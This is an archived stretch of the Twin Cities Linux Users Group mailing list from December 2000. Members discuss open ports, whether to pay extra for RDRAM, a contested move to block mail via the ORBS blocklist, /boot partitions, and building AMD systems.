available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001211/626bb711/attachment.pgp From esper at sherohman.org Mon Dec 11 16:06:43 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:37 2005 Subject: [TCLUG] What is listening on 6XX ports? In-Reply-To: <20001211155830.C5402@socrates.sistina.com>; from blutgens@sistina.com on Mon, Dec 11, 2000 at 03:58:30PM -0600 References: <0012111442330F.00255@Billbob_Linux> <20001211145045.A5079@socrates.sistina.com> <0012111511400I.00255@Billbob_Linux> <20001211155830.C5402@socrates.sistina.com> Message-ID: <20001211160643.C18421@sherohman.org> On Mon, Dec 11, 2000 at 03:58:30PM -0600, Ben Lutgens wrote: > On Mon, Dec 11, 2000 at 03:11:40PM -0600, Bill Layer wrote: > >23/tcp open telnet > Bad admin! BAD! > > >79/tcp open finger > don't need that one. But if you didn't have it, how would you shake it? -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From jacque at fruitioninc.com Mon Dec 11 16:08:10 2000 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:13:37 2005 Subject: [TCLUG] Beer Meeting - Thursday, Dec 14th 6PM Message-ID: <3A35504A.641192C1@fruitioninc.com> Hi - The last beer meeting of 2000 will be held at the Water Tower Brewing Company in Eden Prairie. 6PM - 8PM? Details: Water Tower Brewing Company 12200 Singletree Ln at: Prairie Center Dr Eden Prairie 55344 tel: (952) 941-8773 here's the map: http://twincities.citysearch.com/page/gen?_template=%2Fentity%2Fentity_map.html&_entity_id=V-MINMN-00059358&address=12200+Singletree+Ln&city=Eden+Prairie&state=&postal_code=55344&cross_street=Prerrie+Center+Dr&phone=%28952%29+941-8773&map_it.x=27&map_it.y=11 Because its the 'burbs, they'll have their own parking lot. Please email me to let me know you are coming. Hope to see you there! Jacque From austad at marketwatch.com Mon Dec 11 16:09:25 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:37 2005 Subject: [TCLUG] WANG shirt Message-ID: http://www.cafepress.com You just upload the image you want on the shirts and they print them as you order them. White and gray (I think) shirts only though. No black. They also do coffee mugs. Jay > -----Original Message----- > From: Ben Lutgens [mailto:blutgens@sistina.com] > Sent: Monday, December 11, 2000 4:05 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] WANG shirt > > > On Mon, Dec 11, 2000 at 03:46:14PM -0600, Jacqueline Urick wrote: > >hehe maybe you'll even meat a girl while wearing your WANG > shirt, Ben. > > Doubt it. Heck I'd even settle for a date :-) > > >sorry couldn't resist! > It's o.k. I bring it on myself. ;-) > > -- > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > > Make the force be with you. And for god's sake men, be careful. > ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama > Jungle 1991 > From bexley at daily.umn.edu Mon Dec 11 10:31:35 2000 From: bexley at daily.umn.edu (Benjamin Exley) Date: Mon Jan 17 13:13:37 2005 Subject: [TCLUG] Re: funny spam In-Reply-To: References: <20001208103805.B28060@sherohman.org> Message-ID: <3A34AD06.21307.80B98FB2@localhost> > > > Benjamin Exley > > > Online Webmaster > > > The Minnesota Daily > > > > *sigh* > > ditto! Ok if this is just because the web page takes like 5 hours to load - then don't even go there. If you ever want to hear a horror story of web design, I will tell you how the current design was formulated. Basically the short version is that the Web Designer got something dumped in his lap with the directive to "make this work." Needless to say, he was a bit frustrated. At that point, too, respect for the Online department was at an all time low so most objections fell on deaf ears. And to finish the whine, I wasn't even webmaster until one week before we went online with the design, so I wasn't even involved in the design at all. And if the *sigh* thing is in response to the irony that I work at a newspaper and - through my criticism of the use of the English language - only succeed in showing off my ignorance, well.... :P so there They don't pay me to be edjumucated. Ben ----- Benjamin Exley Online Webmaster The Minnesota Daily bexley@daily.umn.edu (612) 627-4070 Ext. 3096 From mbresnahan1 at mmm.com Mon Dec 11 16:45:18 2000 From: mbresnahan1 at mmm.com (Michael Bresnahan) Date: Mon Jan 17 13:13:37 2005 Subject: [TCLUG] RDRAM or no RDRAM Message-ID: <3A3558FD.FB5CFCAF@mmm.com> Dell will sell me a Dimension 4100 with 133Mhz SDRAM and a ATA-66 hard drive for $2178. For $400 more, they will sell me a Dimension XPS B with RDRAM and a ATA-100 hard drive. Can you tell me what the extra $400 buys me? How much better is RDRAM over SDRAM and ATA-100 over ATA-66? Both desktops come with a 1GZ PIII processor but the motherboard is unspecified. Mike Bresnahan From tanner at real-time.com Mon Dec 11 16:46:07 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:37 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 Message-ID: <20001211164607.R12915@real-time.com> I would like to close the ORBS poll on Dec 22, 2000 and use the Christmas break to install ORBS (since that is what the poll is showing). -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From sos at zjod.net Mon Dec 11 16:53:45 2000 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:13:37 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 In-Reply-To: <20001211164607.R12915@real-time.com> from "Bob Tanner" at Dec 11, 2000 04:46:07 PM Message-ID: <200012112253.QAA11571@zjod.net> Bob Tanner wrote: > > I would like to close the ORBS poll on Dec 22, 2000 and use the Christmas break > to install ORBS (since that is what the poll is showing). > That being the case, I'll be unsubscribing to the list. I tried to post to the list a while back (when ORBS was turned on) and it was blocked. If, as a legit member, I can't post, well... what's the point? -Steve Siegfried sos@zjod.net From destef at destef.com Mon Dec 11 16:56:17 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:13:37 2005 Subject: [TCLUG] RDRAM or no RDRAM In-Reply-To: <3A3558FD.FB5CFCAF@mmm.com> Message-ID: Unless you box is gonna be a productive server that uses a lot of RAM and needs to perform very well the extra 20% in cost is not gonna be worth it. It might get you an extra frame or two in counterstrike, but thats about it. Spend the money on a faster cpu and you'll get a better bang for the buck. Or save the $400 and buy us all drinks sometime. ...my 2 cents...or maybe its $400...make checks payable to... On Mon, 11 Dec 2000, Michael Bresnahan wrote: > Dell will sell me a Dimension 4100 with 133Mhz SDRAM and a ATA-66 hard > drive for $2178. For $400 more, they will sell me a Dimension XPS B > with RDRAM and a ATA-100 hard drive. Can you tell me what the extra > $400 buys me? How much better is RDRAM over SDRAM and ATA-100 over > ATA-66? > > Both desktops come with a 1GZ PIII processor but the motherboard is > unspecified. > > Mike Bresnahan > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From tanner at real-time.com Mon Dec 11 16:59:22 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:37 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 In-Reply-To: <200012112253.QAA11571@zjod.net>; from sos@zjod.net on Mon, Dec 11, 2000 at 04:53:45PM -0600 References: <20001211164607.R12915@real-time.com> <200012112253.QAA11571@zjod.net> Message-ID: <20001211165922.U12915@real-time.com> > That being the case, I'll be unsubscribing to the list. I tried to post to > the list a while back (when ORBS was turned on) and it was blocked. If, as a > legit member, I can't post, well... what's the point? The point is MediaOne is in ORBS for. 1. Open relays. 2. Failing to respond to ORBS to stop spammers. 3. Not submitting thier cable modems and dialups to DUNs. This has nothing to do with you, it has to do with your ISP. I want to make this very clear, ORBS does not single out inviduals, it singles out IP addresses or blocks of IP addresses. If you are concerned, hit this url: http://www.orbs.org/report_1.html Type in the IP address of your smtp server and see what happens. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From cf352197 at oak.cats.ohiou.edu Mon Dec 11 17:00:10 2000 From: cf352197 at oak.cats.ohiou.edu (Charles Fulton) Date: Mon Jan 17 13:13:37 2005 Subject: [TCLUG] RDRAM or no RDRAM References: <3A3558FD.FB5CFCAF@mmm.com> Message-ID: <3A355C7A.9061E16E@oak.cats.ohiou.edu> Michael Bresnahan wrote: > Dell will sell me a Dimension 4100 with 133Mhz SDRAM and a ATA-66 hard > drive for $2178. For $400 more, they will sell me a Dimension XPS B > with RDRAM and a ATA-100 hard drive. Can you tell me what the extra > $400 buys me? How much better is RDRAM over SDRAM and ATA-100 over > ATA-66? The ATA difference is nill... at least if you only have one drive attached to it. RDRAM... well. It technically has some advantages over SDRAM. It's able to move much more data in once clock cycle. and for EXTREMELY data intensive work (MPEG encoding for example) you will see some improvement, but by and large it doesn't offer much to the typical user, or even the avid gamer. Pretty much $400 pays the licensing to Rambus... I wouldn't personally go for it (but then I wouldn't go for an PIII either) But it's really a matter of what are you going to use the computer for whether it worthwhile for you. Charlie From dieman at ringworld.org Mon Dec 11 17:20:01 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 In-Reply-To: <20001211165922.U12915@real-time.com>; from tanner@real-time.com on Mon, Dec 11, 2000 at 04:59:22PM -0600 References: <20001211164607.R12915@real-time.com> <200012112253.QAA11571@zjod.net> <20001211165922.U12915@real-time.com> Message-ID: <20001211172001.B15922@ringworld.org> * Bob Tanner [001211 17:00]: > 1. Open relays. Mediaone's main SMTP smarthost is not an open relay. So, why block it? 220 mnmai05.mn.mediaone.net ESMTP Sendmail 1.0/1.0; Mon, 11 Dec 2000 18:17:24 -0500 (EST) helo blah 250 mnmai05.mn.mediaone.net Hello claudius.cs.umn.edu [128.101.33.101], pleased to meet you mail from:sdier@cs.umn.edu 250 sdier@cs.umn.edu... Sender ok rcpt to:dieman@ringworld.org 550 dieman@ringworld.org... we do not relay mail--please check your mail before sending mail from outside of the MediaOne network. > 2. Failing to respond to ORBS to stop spammers. Did ORBS make a phone contact with Mediaone? Did they even attempt to get a response, or did they auto-spam all the addresses they could with their stupid automated scanner? > 3. Not submitting thier cable modems and dialups to DUNs. They only have cable modems. And non-submission is not a good reason for it. The maps DUL says that they do add DUL entries as they find out some block is a dialup/cm/etc. Really, we should block all DSL lines too. Only registered (hey, perhaps ARIN can charge for this) and properly certified smarthosts should be allowed on the internet. > This has nothing to do with you, it has to do with your ISP. No, it all has to do with ORBS policy. > I want to make this very clear, ORBS does not single out inviduals, it singles > out IP addresses or blocks of IP addresses. Why dont they limit it to individual ARIN registrations, and not the whole shebang? -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001211/d01bcc0c/attachment.pgp From austad at marketwatch.com Mon Dec 11 17:22:40 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] RDRAM or no RDRAM Message-ID: RDRAM is a waste of money for a desktop machine. We have some here and they suck just as much as the Dell's we have without RDRAM. It's more expensive if you want to upgrade the RAM, and you'll burn your fingers on it because it's really hot. I wanted to build my own AMD Thunderbird system for half the price of a Dell and just expense it, but the people above wouldn't let me and spent like $2500 on a Dell instead. > -----Original Message----- > From: Charles Fulton [mailto:cf352197@oak.cats.ohiou.edu] > Sent: Monday, December 11, 2000 5:00 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] RDRAM or no RDRAM > > > Michael Bresnahan wrote: > > > Dell will sell me a Dimension 4100 with 133Mhz SDRAM and a > ATA-66 hard > > drive for $2178. For $400 more, they will sell me a Dimension XPS B > > with RDRAM and a ATA-100 hard drive. Can you tell me what the extra > > $400 buys me? How much better is RDRAM over SDRAM and ATA-100 over > > ATA-66? > > The ATA difference is nill... at least if you only have one drive > attached to it. > > RDRAM... well. It technically has some advantages over > SDRAM. It's able > to move much more data in once clock cycle. and for EXTREMELY data > intensive work (MPEG encoding for example) you will see some > improvement, > but by and large it doesn't offer much to the typical user, > or even the > avid gamer. > > Pretty much $400 pays the licensing to Rambus... I wouldn't > personally go > for it (but then I wouldn't go for an PIII either) But it's really a > matter of what are you going to use the computer for whether it > worthwhile for you. > > Charlie > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From tanner at real-time.com Mon Dec 11 17:27:50 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 In-Reply-To: <20001211172001.B15922@ringworld.org>; from dieman@ringworld.org on Mon, Dec 11, 2000 at 05:20:01PM -0600 References: <20001211164607.R12915@real-time.com> <200012112253.QAA11571@zjod.net> <20001211165922.U12915@real-time.com> <20001211172001.B15922@ringworld.org> Message-ID: <20001211172750.Y12915@real-time.com> Quoting Scott Dier (dieman@ringworld.org): Dude, don't kill the messenger. Both MAPS and ORBS throw the baby out with the bathwater every now and then. The both admit as much. > * Bob Tanner [001211 17:00]: > > 1. Open relays. > > Mediaone's main SMTP smarthost is not an open relay. So, why block it? Just relaying what ORBS told me. It could also be because MediaOne blocks ORBS from probing it's networks (like above.net). > > 2. Failing to respond to ORBS to stop spammers. > > Did ORBS make a phone contact with Mediaone? Did they even attempt to > get a response, or did they auto-spam all the addresses they could with > their stupid automated scanner? Just the messenger here. > > 3. Not submitting thier cable modems and dialups to DUNs. > > Really, we should block all DSL lines too. Only registered (hey, > perhaps ARIN can charge for this) and properly certified smarthosts > should be allowed on the internet. Again, just the messenger. > No, it all has to do with ORBS policy. It's throw lots of babies out with the bathwater if I could have a spam free mail box. I personally agree with ORBS policy. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From phil80 at netscape.net Mon Dec 11 17:32:32 2000 From: phil80 at netscape.net (Philip Forst) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] RH Install: To /boot or Not to /boot? Message-ID: <20001211233233.17292.qmail@ww181.netaddress.usa.net> Hello all. I have mostly been a user of Mandrake Linux. However, I recently installed Redhat 6.1 just to check it out. Also, going to RH helps with support and software at work. I noticed a difference between Mandrake and RH's install manuals: Redhat recommends creating at 16MB "/boot" partition whereas Mandrake does not. So, what are the pros and cons of having a /boot partition on a server that will be responsible for DHCP, DNS , APACHE, RAS, and more. Would it have some advantage for upgrades, rebuilds, etc? I have a copy of Running Linux but it does not really discuss pros and cons of creating a /boot partition versus just most stuff in /. BTW, this server will have separate partitions for /var, /home, /user, and /. Any assistance that you can provide is appreciated. Thanks. ____________________________________________________________________ Get your own FREE, personal Netscape WebMail account today at http://home.netscape.com/webmail From jethro at freakzilla.com Mon Dec 11 17:32:54 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 In-Reply-To: <20001211172750.Y12915@real-time.com> Message-ID: Hi, On Mon, 11 Dec 2000, Bob Tanner wrote: > Both MAPS and ORBS throw the baby out with the bathwater every now and then. The > both admit as much. Is there like a local config where you can override ORBS? -Yaron -- From tanner at real-time.com Mon Dec 11 17:37:54 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 In-Reply-To: ; from jethro@freakzilla.com on Mon, Dec 11, 2000 at 05:32:54PM -0600 References: <20001211172750.Y12915@real-time.com> Message-ID: <20001211173754.Z12915@real-time.com> Quoting Yaron (jethro@freakzilla.com): > Hi, > > On Mon, 11 Dec 2000, Bob Tanner wrote: > > > Both MAPS and ORBS throw the baby out with the bathwater every now and then. > > The both admit as much. > > Is there like a local config where you can override ORBS? No, it's embedded into your sendmail.[mc|cf] and setup per mail server. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From jethro at freakzilla.com Mon Dec 11 17:39:14 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] RH Install: To /boot or Not to /boot? In-Reply-To: <20001211233233.17292.qmail@ww181.netaddress.usa.net> Message-ID: Hi, On 11 Dec 2000, Philip Forst wrote: > I noticed a difference between Mandrake and RH's install manuals: Redhat > recommends creating at 16MB "/boot" partition whereas Mandrake does not. I like having a /boot. I think one of the advantages is, if you put it at the beginign of the drive, you never have any >1024 cyl problems with LILO. Plus it makes SURE you cut down on clutter (: -Yaron -- From austad at marketwatch.com Mon Dec 11 17:39:35 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] RH Install: To /boot or Not to /boot? Message-ID: I use a /boot because all of my other partitions are reiserfs. Your kernel must be on an ext2 partition. Jay > -----Original Message----- > From: Yaron [mailto:jethro@freakzilla.com] > Sent: Monday, December 11, 2000 5:39 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] RH Install: To /boot or Not to /boot? > > > Hi, > > On 11 Dec 2000, Philip Forst wrote: > > > I noticed a difference between Mandrake and RH's install > manuals: Redhat > > recommends creating at 16MB "/boot" partition whereas > Mandrake does not. > > I like having a /boot. I think one of the advantages is, if > you put it at > the beginign of the drive, you never have any >1024 cyl problems with > LILO. > > Plus it makes SURE you cut down on clutter (: > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From jethro at freakzilla.com Mon Dec 11 17:43:31 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 In-Reply-To: <20001211173754.Z12915@real-time.com> Message-ID: Hi, On Mon, 11 Dec 2000, Bob Tanner wrote: > > Is there like a local config where you can override ORBS? > No, it's embedded into your sendmail.[mc|cf] and setup per mail server. That sucks... I mean, I'm sure there are a lot of @mediaone.net people on the list... -Yaron -- From austad at marketwatch.com Mon Dec 11 17:54:02 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 Message-ID: The sad thing is, most @home users are clueless and have no idea that it's @home's fault for being on ORBS. If more of their customers complained, maybe they would fix their open relays. (I'm not saying you guys on the list with @home are clueless, just a good percentage of their user base is, as with any ISP). Jay > -----Original Message----- > From: Yaron [mailto:jethro@freakzilla.com] > Sent: Monday, December 11, 2000 5:44 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] ORBS poll closure on Dec 22, 2000 > > > Hi, > > On Mon, 11 Dec 2000, Bob Tanner wrote: > > > > Is there like a local config where you can override ORBS? > > No, it's embedded into your sendmail.[mc|cf] and setup per > mail server. > > That sucks... I mean, I'm sure there are a lot of > @mediaone.net people on > the list... > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From sos at zjod.net Mon Dec 11 18:05:41 2000 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 In-Reply-To: from "Yaron" at Dec 11, 2000 05:43:31 PM Message-ID: <200012120005.SAA12663@zjod.net> Yaron wrote: > > Hi, > > On Mon, 11 Dec 2000, Bob Tanner wrote: > > > > Is there like a local config where you can override ORBS? > > No, it's embedded into your sendmail.[mc|cf] and setup per mail server. > > That sucks... I mean, I'm sure there are a lot of @mediaone.net people on > the list... > > -Yaron > That part that _really_ sucks is that I'm _NOT_ on the list with a "mediaone.net" address. Instead, thanks to dynamic domain service from TZO, while I _do_ have a MediaOne cable modem (and IP address), I'm doing my own smtp _as_ "zjod.net"... and it's email from _that_ domain that's being blocked by ORBS. Outta here'idly, -S PS- Hey folks! Remember to ask for "Ziggy's Joke o' the day", delivered fresh every week day. Now available in two great flavors: Traditional and _new_ HTML. http://zjod.net From jpschewe at eggplant.mtu.net Mon Dec 11 18:27:28 2000 From: jpschewe at eggplant.mtu.net (Jon Schewe) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] Linux demos at stores In-Reply-To: Michael Vieths's message of "Sun, 10 Dec 2000 22:30:21 -0600 (CST)" References: Message-ID: Been there once and the people that I talked to on the floor didn't have a clue about SCSI though. Michael Vieths writes: > Highway 100 and 36th Street, actually. > > Thus far, all the floor people I've encountered have actually been > competent. One of them even hooked up the pair of speakers I was looking > at and ran the copy of Half-Life he'd installed on one of the machines to > let me test them out. > > Michael Vieths > Foeclan@Winternet.Com > > On Sun, 10 Dec 2000, Austad, Jay wrote: > > > > who the hell is micro center and what makes you think that > > > there is anyone > > > there able to operate linux? > > > > YOU HAVEN'T BEEN TO MICRO CENTER???!??!??!??! It's on hwy 100 and excelsior > > I think. It's almost like Fry's electronics, but more focus on computer > > hardware. Prices are OK, not as good as buying on the net though. They > > sell just about every flavor of linux imaginable, of course, that doesn't > > mean they know how to use it. > > > > Speaking of Micro center, they have a Compaq Ipaq desktop web appliance for > > $200. You can pay cash for it and promise that you'll buy service and > > they'll let you walk out of the store with it. Anyone heard anything about > > linux on these? (kinda like the i-opener) > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Jon Schewe | http://eggplant.mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 NOTE: My first name has no 'h' in it! Please be observant. From dopp at acm.cs.umn.edu Mon Dec 11 19:04:18 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 In-Reply-To: <20001211173754.Z12915@real-time.com>; from tanner@real-time.com on Mon, Dec 11, 2000 at 05:37:54PM -0600 References: <20001211172750.Y12915@real-time.com> <20001211173754.Z12915@real-time.com> Message-ID: <20001211190418.B54618@sorry.cs.umn.edu> On Mon, Dec 11, 2000 at 05:37:54PM -0600, Bob Tanner wrote: > Quoting Yaron (jethro@freakzilla.com): > > Hi, > > > > On Mon, 11 Dec 2000, Bob Tanner wrote: > > > > > Both MAPS and ORBS throw the baby out with the bathwater every now and then. > > > The both admit as much. > > > > Is there like a local config where you can override ORBS? > > No, it's embedded into your sendmail.[mc|cf] and setup per mail server. > Not true. access.db takes precedence over any dnsbl (or rbl) ruleset. Well in sendmail, that is. I'm not sure about any other MTAs. Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "If a god of love and life ever did exist, he's long since dead... Someone, some _thing_, rules in his place." ------------------------------------------------------------------------------- From crumley at belka.space.umn.edu Mon Dec 11 20:08:56 2000 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] next installfest--<200mb laptop In-Reply-To: <20001211110733.C1962@socrates.sistina.com>; from blutgens@sistina.com on Mon, Dec 11, 2000 at 11:07:33AM -0600 References: <3A3493A8.CA97D0FD@tc.umn.edu> <20001211095102.B953@socrates.sistina.com> <3A350B2D.E088DF5@mninter.net> <20001211110733.C1962@socrates.sistina.com> Message-ID: <20001211200856.B29810@baker.space.umn.edu> On Mon, Dec 11, 2000 at 11:07:33AM -0600, Ben Lutgens wrote: > On Mon, Dec 11, 2000 at 11:13:17AM -0600, fjorn wrote: > > > >While I was digging through linuxdocs.org, ran across this for you: > > > O.k. all you smart guys, I am aware that it can be done, but common sense will > tell you that if you want to be comfortable you need at least a Gig. just try > to install under 200 MB and see how fast you use it up. > > If all you want is a text console the bare essentials will fit under there, > but keep in mind that the kernel source is up to 20MB and glibc is like double > that. no add in vim (or god forbid emacs), some docs, and system utils and > you are done dealing. Yeah it is doable, though, especially if you've got a desktop and/or network to use it with. I've got a laptop (thanks Carl!) where the system related stuff is using only 290 Mb. This laptop has vim, X including a couple of window managers (though no gnome or KDE stuff), and TeTeX installed. A quick test of apt-get remove shows that if I removed TeTeX, quake, and doom that would go down to 185 Mb. Sure, 200 MB would be tight, but there are always ways to cut corners. Compile kernels on another machine, keep only a minimal home directory, etc. Just know the limitations, and live with it. -- Jim Crumley | crumley@fields.space.umn.edu | Work: 612 624-6804 or -0378 | From isla0005 at tc.umn.edu Mon Dec 11 22:44:58 2000 From: isla0005 at tc.umn.edu (Apu) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] next installfest--<200mb laptop References: <3A3493A8.CA97D0FD@tc.umn.edu> <20001211095102.B953@socrates.sistina.com> <3A350B2D.E088DF5@mninter.net> <20001211110733.C1962@socrates.sistina.com> <20001211200856.B29810@baker.space.umn.edu> Message-ID: <3A35AD4A.F9A82960@tc.umn.edu> Thanks for all the response guys. I freaked out and freed up a lot of spaces. Now I have 857 MB free on the laptop. I would like to keep the windows installation also which is happy now with 1.1 GB. Maybe I should bring it to the beer meeting unless there is a no computer policy! Apu From andyzib at ringworld.org Mon Dec 11 21:33:25 2000 From: andyzib at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:13:38 2005 Subject: [TCLUG] ORBS poll closure on Dec 22, 2000 References: <20001211172750.Y12915@real-time.com> <20001211173754.Z12915@real-time.com> <20001211190418.B54618@sorry.cs.umn.edu> Message-ID: <3A359C85.FABE4ED1@ringworld.org> First, where is the hole that's letting the spam in? IF the spammers ARE really going to all the trouble of subscribing to the list to spam it then there isn't much we can do. If they've found some hole that's letting them post to the list without being subscribed, yeah, ORBS has to be done. If we go ORBS and end you end up not being able to post, come to the meeting and hook up with someone running IMP. :) -- | Andrew S. Zbikowski | Home: 763.591.0977 | | http://www.ringworld.org | Work: 763.428.9119 | | http://www.itouthouse.com | PCS: 612.306.6055 | | "If there's anything more important than my | | ego around, I want it caught and shot now." | -------------- next part -------------- A non-text attachment was scrubbed... Name: andyzib.vcf Type: text/x-vcard Size: 421 bytes Desc: Card for Andy Zbikowski (Zibby) Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001212/26e02157/andyzib.vcf From rsinland at gvtel.com Mon Dec 11 22:45:14 2000 From: rsinland at gvtel.com (Robert Sinland) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] {off topic} Tranmicro systems References: Message-ID: <3A35AD5A.EF6EB0DD@gvtel.com> I am currently considering purchasing either componants to build a system or a complete system from Tranmicro as I have read you guys saying many good things in general about this store. What I have in mind is an AMD Thunderbird 1000 MHZ system. Was wondering if any of you had any pointers on what MB/CPU combo's to try or avoid, and if anyone had tried one of thier pre-made systems. Thanks, RS From jethro at freakzilla.com Mon Dec 11 23:06:04 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] {off topic} Tranmicro systems In-Reply-To: <3A35AD5A.EF6EB0DD@gvtel.com> Message-ID: Hi, On Mon, 11 Dec 2000, Robert Sinland wrote: > What I have in mind is an AMD Thunderbird 1000 MHZ system. > Was wondering if any of you had any pointers on what MB/CPU combo's > to try or avoid, and if anyone had tried one of thier pre-made systems. > Thanks, Avoid: (A) Anything made by FIC (B) Anything made by Tyan (C) Cases with a PSU of under 300W I'm sure you can get them to assemble whatever components you want. Better than a completely premade ystem. More flexible. If you are really not into putting things together, try that. -Yaron -- From austad at marketwatch.com Mon Dec 11 23:06:31 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] {off topic} Tranmicro systems Message-ID: Most people I know have been buying AMD Thunderbirds and Abit KT7-RAID boards and are very happy with them. http://www.mwave.com is probably cheaper on the board and chip combos, but Tran is much better on memory, and you don't have to pay shipping. Jay > -----Original Message----- > From: Robert Sinland [mailto:rsinland@gvtel.com] > Sent: Monday, December 11, 2000 10:45 PM > To: tclug-list@lists.real-time.com > Subject: [TCLUG] {off topic} Tranmicro systems > > > I am currently considering purchasing either componants to > build a system > or a complete system from Tranmicro as I have read you guys saying > many good things in general about this store. > What I have in mind is an AMD Thunderbird 1000 MHZ system. > Was wondering if any of you had any pointers on what MB/CPU combo's > to try or avoid, and if anyone had tried one of thier > pre-made systems. > Thanks, > RS > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From veldy at veldy.net Tue Dec 12 08:17:30 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] RDRAM or no RDRAM References: <3A3558FD.FB5CFCAF@mmm.com> Message-ID: <002001c06446$43b1d4b0$9c29680a@tgt.com> Well, if ATA-66 compared with ATA-33 is any indication - that should be a wonderful improvement. However, you will notice very little with RDRAM and it is a hell of a lot more expensive to upgrade RDRAM memory than SDRAM memory. To be honest, if you are looking to make 